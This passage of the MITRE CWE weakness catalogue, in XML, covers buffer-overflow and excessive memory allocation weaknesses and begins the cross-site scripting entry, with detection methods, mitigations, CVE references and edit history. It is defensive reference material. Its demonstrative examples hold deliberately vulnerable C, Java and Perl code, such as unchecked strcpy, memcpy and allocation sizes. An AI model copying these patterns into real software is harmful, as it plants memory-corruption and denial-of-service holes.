             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.</Body_Text>
               <Body_Text>Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-114">
               <Intro_Text>In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int returnChunkSize(void *) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* if chunk info is valid, return the size of usable memory,</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>* else, return -1 to indicate an error</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>*/</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-19">
               <Intro_Text>This example applies an encoding procedure to an input string and stores it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char * copy_input(char *user_supplied_string){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int i, dst_index;<xhtml:br/>char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);<xhtml:br/>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){<xhtml:div style="margin-left:1em;">die("user string too long, die evil hacker!");</xhtml:div>}<xhtml:br/>dst_index = 0;<xhtml:br/>for ( i = 0; i &lt; strlen(user_supplied_string); i++ ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( '&amp;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">dst_buf[dst_index++] = '&amp;';<xhtml:br/>dst_buf[dst_index++] = 'a';<xhtml:br/>dst_buf[dst_index++] = 'm';<xhtml:br/>dst_buf[dst_index++] = 'p';<xhtml:br/>dst_buf[dst_index++] = ';';</xhtml:div>}<xhtml:br/>else if ('&lt;' == user_supplied_string[i] ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* encode to &amp;lt; */</xhtml:i>
                                       <xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>}<xhtml:br/>else dst_buf[dst_index++] = user_supplied_string[i];</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return dst_buf;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-91">
               <Intro_Text>In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int processMessageFromSocket(int socket) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int success;<xhtml:br/>
                           <xhtml:br/>char buffer[BUFFER_SIZE];<xhtml:br/>char message[MESSAGE_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// get message from socket and store into buffer</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//Ignoring possibliity that buffer &gt; BUFFER_SIZE</xhtml:i>
                           <xhtml:br/>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// place contents of the buffer into message structure</xhtml:i>
                                 <xhtml:br/>ExMessage *msg = recastBuffer(buffer);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// copy message body into string for processing</xhtml:i>
                                 <xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; msg-&gt;msgLength; index++) {<xhtml:div style="margin-left:1em;">message[index] = msg-&gt;msgBody[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// process message</xhtml:i>
                                 <xhtml:br/>success = processMessage(message);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return success;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-2550</Reference>
               <Description>Classic stack-based buffer overflow in media player using a long entry in a playlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2550</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2403</Reference>
               <Description>Heap-based buffer overflow in media player using a long entry in a playlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2403</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0689</Reference>
               <Description>large precision value in a format string triggers overflow</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0689</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0558</Reference>
               <Description>attacker-controlled array index leads to code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0558</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4113</Reference>
               <Description>OS kernel trusts userland-supplied length value, allowing reading of sensitive information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4113</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4268</Reference>
               <Description>Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4268</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-788</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-788"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-10-21</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Eric Constantin Brinz</Contribution_Name>
               <Contribution_Organization>GENIA-SEC IT-Sicherheitsmanagement GmbH</Contribution_Organization>
               <Contribution_Date>2022-02-23</Contribution_Date>
               <Contribution_Comment>Suggested corrections to extended description.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="789" Name="Memory Allocation with Excessive Size Value" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="770" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1284" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="476" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
	 <Alternate_Terms>
	   <Alternate_Term>
	     <Term>Stack Exhaustion</Term>
	     <Description>When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.</Description>
	   </Alternate_Term>
	 </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned int size = GetUntrustedInt();<xhtml:br/>
                     <xhtml:i>/* ignore integer overflow (CWE-190) for this example */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>unsigned int totBytes = size * sizeof(char);<xhtml:br/>char *string = (char *)malloc(totBytes);<xhtml:br/>InitializeString(string);</xhtml:div>
               </Example_Code>
               <Body_Text>Suppose an attacker provides a size value of:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>12345678</xhtml:div>
                  </xhtml:div>
               </Body_Text>
               <Body_Text>This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>unsigned int size = GetUntrustedInt();<xhtml:br/>HashMap list = new HashMap(size);</xhtml:div>
               </Example_Code>
               <Body_Text>The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-137">
               <Intro_Text>This code performs a stack allocation based on a length calculation.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
		    int a = 5, b = 6;<xhtml:br/>
		    size_t len = a - b;<xhtml:br/>
		    char buf[len];    // Just blows up the stack
		  </xhtml:div>
		  }
               </Example_Code>
               <Body_Text>Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.</Body_Text>
	       <Body_Text>Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-138">
               <Intro_Text>This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
		 int proc_msg(char *s, int msg_len)<xhtml:br/>
		 {<xhtml:br/>
                  <xhtml:div>
		    <xhtml:i>// Note space at the end of the string - assume all strings have preamble with space</xhtml:i><xhtml:br/>
		    int pre_len = sizeof("preamble: ");<xhtml:br/>
		    char buf[pre_len - msg_len];<xhtml:br/>
		    <xhtml:i>... Do processing here if we get this far</xhtml:i>
		  </xhtml:div>
		  }<xhtml:br/>
		  char *s = "preamble: message\n";<xhtml:br/>
		  char *sl = strchr(s, ':');        // Number of characters up to ':' (not including space)<xhtml:br/>
		  int jnklen = sl == NULL ? 0 : sl - s;    // If undefined pointer, use zero length<xhtml:br/>
		  int ret_val = proc_msg ("s",  jnklen);    // Violate assumption of preamble length, end up with negative value, blow out stack<xhtml:br/>
               </Example_Code>
               <Body_Text>The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code obtains an untrusted number that is used as an index into an array of messages.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $num = GetUntrustedNumber();<xhtml:br/>my @messages = ();<xhtml:br/>
                     <xhtml:br/>$messages[$num] = "Hello World";</xhtml:div>
               </Example_Code>
               <Body_Text>The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.</Body_Text>
               <Body_Text>If $num is a large value such as 2147483648 (1&lt;&lt;31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as:</Body_Text>
               <Body_Text>Out of memory during array extend</Body_Text>
               <Body_Text>This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.</Body_Text>
            </Demonstrative_Example>
        <Demonstrative_Example>
          <Intro_Text>This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included  in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.</Intro_Text>
          <Example_Code Nature="Bad" Language="C">
int proc_msg(char *s, int msg_len)<xhtml:br/>
{<xhtml:br/>
<xhtml:div style="margin-left:1em;">int pre_len = sizeof("preamble: ");    // Note space at the end of the string - assume all strings have preamble with space</xhtml:div>
<xhtml:div style="margin-left:1em;">char buf[pre_len - msg_len];</xhtml:div>
<xhtml:div style="margin-left:1em;">... Do processing here and set status</xhtml:div>
<xhtml:div style="margin-left:1em;">return status;</xhtml:div>
}
<xhtml:br/>
char *s = "preamble: message\n";<xhtml:br/>
char *sl = strchr(s, ':');        // Number of characters up to ':' (not including space)<xhtml:br/>
int jnklen = sl == NULL ? 0 : sl - s;    // If undefined pointer, use zero length<xhtml:br/>
int ret_val = proc_msg ("s",  jnklen);    // Violate assumption of preamble length, end up with negative value, blow out stack
         </Example_Code>
          <Example_Code Nature="Good" Language="C">
int proc_msg(char *s, int msg_len)<xhtml:br/>
{<xhtml:br/>
<xhtml:div style="margin-left:1em;">int pre_len = sizeof("preamble: ");    // Note space at the end of the string - assume all strings have preamble with space</xhtml:div>
<xhtml:div style="margin-left:1em;">if (pre_len &lt;= msg_len) { // Log error; return error_code; }</xhtml:div>
<xhtml:div style="margin-left:1em;">char buf[pre_len - msg_len];</xhtml:div>
<xhtml:div style="margin-left:1em;">... Do processing here and set status</xhtml:div>
<xhtml:div style="margin-left:1em;">return status;</xhtml:div>
}
<xhtml:br/>
char *s = "preamble: message\n";<xhtml:br/>
char *sl = strchr(s, ':');        // Number of characters up to ':' (not including space)<xhtml:br/>
int jnklen = sl == NULL ? 0 : sl - s;    // If undefined pointer, use zero length<xhtml:br/>
int ret_val = proc_msg ("s",  jnklen);    // Violate assumption of preamble length, end up with negative value, blow out stack
         </Example_Code>
        </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-21668</Reference>
               <Description>Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-21668</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3701</Reference>
               <Description>program uses ::alloca() for encoding messages, but large messages trigger segfault</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3701</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1708</Reference>
               <Description>memory consumption and daemon exit by specifying a large value in a length field</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1708</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0977</Reference>
               <Description>large value in a length field leads to memory consumption and crash when no more memory is available</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0977</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3791</Reference>
               <Description>large key size in game program triggers crash when a resizing function cannot allocate enough memory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3791</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2589</Reference>
               <Description>large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2589</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>35</Entry_ID>
               <Entry_Name>SOAP Array Abuse</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM35-C</Entry_ID>
               <Entry_Name>Allocate sufficient memory for an object</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS32-PL</Entry_ID>
               <Entry_Name>Validate any integer that is used as an array index</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-789</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, &#34;Resource Limits&#34;, Page 574"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-789"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.</Note>
            <Note Type="Applicable Platform">
               <xhtml:p>Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-10-21</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-12-10">Uncontrolled Memory Allocation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="79" Name="Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.</Description>
         <Extended_Description>
            <xhtml:p>Cross-site scripting (XSS) vulnerabilities occur when:</xhtml:p>
